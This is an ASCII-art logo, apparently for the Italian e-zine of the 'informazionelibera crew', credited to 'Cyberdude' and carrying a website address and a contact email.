aMMMMMMML ^" ^^ .#MMMMMMMMMWMMMMMMMMMMMMMMMMMM | | MMMMMMMML VWVWVWMM~ QMMMMMMW" *MMMMMMMMF =MMMMMMMMMMWMMMMMM | | MMMMMMMF" *V !MMMMMMF apMMMMMMpn TMMMMMM_ $MMMMMMMMW $MMMMM | | MMMMMF" .__~ !MMMMM" a#MMMMMMMMMMbc TMMMMMMn :MMMMMMMML 4MMMMM | | MMMM" ,app#MMMpn_ ^YMM" ,pMMMMWMMMMMMMMMn $MMMMMML QMMMMMMM ~#MMMMM | | MMML gMMMMMMMMMMMp_ ^" ,#MMMMF 'MMMMMMMMML `MMMMMMM TMMMMMML [MMMMMM | | MML ,#MMMMMMMMMMMMM#n .#MMMMML TMMMW"W"*Mn TMMMMMMn'MMMMMML [MMMMMM | | MF ,#MMMMMMMMMMMMMMMML 4MMMMMMM MM" c QM ~$MMMMMM NMMWMMF dMMMMMM | | M" 4MMMMMMMMMMMMMMMMML ,MMMMMMMML :MMgMMMc NML *MMMMMM YMMMMMM | | F +#MMMMMMMMMMMMMMMMML [MMMMMMMMMp#MMMMMMb NM#~'MMMMM" ____ WMMMMM | | L 4MMMMMMMMMMMMMMMMMM" dMMMMMMMMMMMMMMMMML~#MM_ QMMF ippMMMM#pp_TMMMM | | ";#MMMMMMMMMMMMMMMMMH MMMMMMMMMMMMMMMMMM 4MMML QMF +g#MMMMMMMMMb`WMMM | | ;MMML^MMMMMMMMMMMMMM ,MMMMMMMMMMMMMMMMMMgMMMML TH ,#MMMMMMMMMMMML*MMM | | ;MMW QMMMMMMF"MMMMh *MMMMMMMMMMMMMMMMMMMMMMML '" MMMMMMMMMMMMMMM_TMM | | ;MML TMMMMMM MMMMM_ MMMMMMMMMMMMMMMMMMMMMMML gMMMMMMMMMMMMMMMn*MM | | _!MMM_ !MMMMML MMMMM~ $MMMMMMMMMMMMMMMMMMMMMML .MMMMMMMMMMMMMMMMh MM | | L'MMML iMMMMM ,MMMMML [MMMMMMMMMMMMMMMMMMMMMM" [MMMMMMMMMMMMMMMMh MM | | L TMMM##MMMMM 4MMMMMM ^MMMMMMMMMMMMMMMMMMMMMF {M"TMMMMMF$MMMMMMh MM | | ML!MMMF^NMMMMpgMMMMMMMb TMMMMMMMMMMMMMMMMMMMML p {M :MMMML !MMMMMMh MM | | Mb *MML;MMMMMMMMMMMMMMM TMMMMMMMMMMMMMMMMMMF aML{M QMMM QMMMMMMh~MM | | MMn 3M TMMMM;MMMMMMMMM" _ 3MMMMMMMMMMMMMMMMF aMML3Mb+#MMM_ QMMMMMMh[MM | | MMMn 'WMM")MMMMMMMW" qMp ^YMMMMMMMMMMMMF ~gMMMM WMMMMMM#pMMMMMMML4MM | | MMMMpe * #MMMMMMF",gMMMne ^"WMMMMWF" ._QMMMMML*MWMMMMMMMMMMMMM%MMM | | MMMMMM#o_ ~ """W""".o#MMMMMM#oo_ ^"""~,oo#MMMMMMMMc":MMMMMMMMMMMML4MMM | | MMMMMMMMMpc + pp#MMMMMMMMMMMM=~ p#g#MMMMMMMMMMMMc *V*MMMMMMMMVgMMMM | | MMMMMMMMMML~#M#n MMMMMMMMMMMMMM" pn TMMMMMMMMMMMMMMMp_ *FVVVVVL#MMMMM | | MMMMMMMMML dMMMM_*MMMMMMMMMMMM"+pMMn TMMMMMMMMMMMMMMMMML ,pp gMMMMMMMM | | MMMMMMMMMLaMMMMML 4MMMMMMMMMMF,#MMMMn`MMMMMMMMMMMMMMMMML,#MMnTMMMMMMMM | | MMMMMMMMM MM##MMM_!MMMMMMMMMF.AMMMMMM_3MMMMMMMMMMMMMMMM"#MMMM=MMMMMMMM | | MMMMMMMMF $MMMMMMM QMMMMMMMM `MMMM#MML'MMMMMMMMMMMMMMMM MMMMMp*MMMMMMM | | MMMMMMMML gMMMMM$M QMMMMMMMW :MMMMMMMb [MMMMMMMMMMMMMMM MMMMMM~MMMMMMM | | MMMMMMMM MMMMMM*M QMMMMMMM~ $MMMMMMM=*MMMMMMMMMMMMMM" MMMMMMLdMMMMMM | | MMMMMMMM MMMMMMpM TMMMMMMM_ n#MMMMMMM" MMMMMMMMMMMMM"- MMMM#MM*MMMMMM | | MMMMMMMM MMMMMMMM !MMMMMMM" MMMMMMMMM= MMMMMMMMMMMMFgn MMMMMM";MMMMMM | | MMMMMMMMc ^MMMMMF" 4MMMMMMM_ WMMMMMMMM_ MMMMMMMMMMMM:MMc'WMMF" dMMMMMM | | MMMMMMMM#_ '""^" .#MMMMMMM= QMMMMMMM" MMMMMMMMMMMM'MMMn '" ,gMMMMMMM | | MMMMMMMMM#_ a#MMMMMMMM_ TMMMMMM" MMMMMMMMMMMMb`VF" 3MMMMMMMM | | MMMMMMMMMMMpc-+pJMMMMMMMMMM# `VVVF [MMMMMMMMMMMMMpc~~ ~pp_*MMMMMMM | | MMMMMMMMMWF*F*VMMFVMMMMMMMMMM_ aMMMMMMMMMMMMMMMMMM gMMM_TMMMMMM | | MMMMMMMWF~+__e_'",_^WMMMMMMMM#n_____ap#MMMMMMMMMMMMMMMMMF MMMMM~MMMMMM | | MMMMMMW" aMMMMM= #Mn'MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM TWFWF~MMMMMM | | MMMMMML aMMMMMM [MMMn'$MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM#pppppgMMMMMM | | MMMMMML `NMMMMF [MMMM~[MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMML *WFV" dMMMML MMMMMMMMFYMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMn +n $MMMML [MMMMMF ~_*YMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMM#p#pp#M [MMMML [MMMF ~a#M_ YMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMM *MM"W" dMMF )#MMMM :MF" ^TWMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMn *" ` [MMM #MMMMM :M ,#p_ 'VMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMM#_ gMMMM [MMMMMW ;L #MMMMp_ *MMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMM#ppMMMMMM *"*MMML 4L;#MMMMMMn YMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMc **" qML NMMMMMML :MMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMMp ,AMMb 'MMMMMWL QMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMMM#####MMMML 'WMMF^" aMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMn '" ~#MMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMpppc~gp#MMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMM[Logo ufficiale informazionelibera crew e-zine]MMMMMMMMMMMMM | | MMMMMMM[Cyberdude Ascii ART]MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMM[www.informazionelibera.cjb.net]MMMMMMMMMMMMMMM | | MMMMMMMMMMMM[cyberdudemail@libero.it]MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | | +----------------------------------------------------------------------------+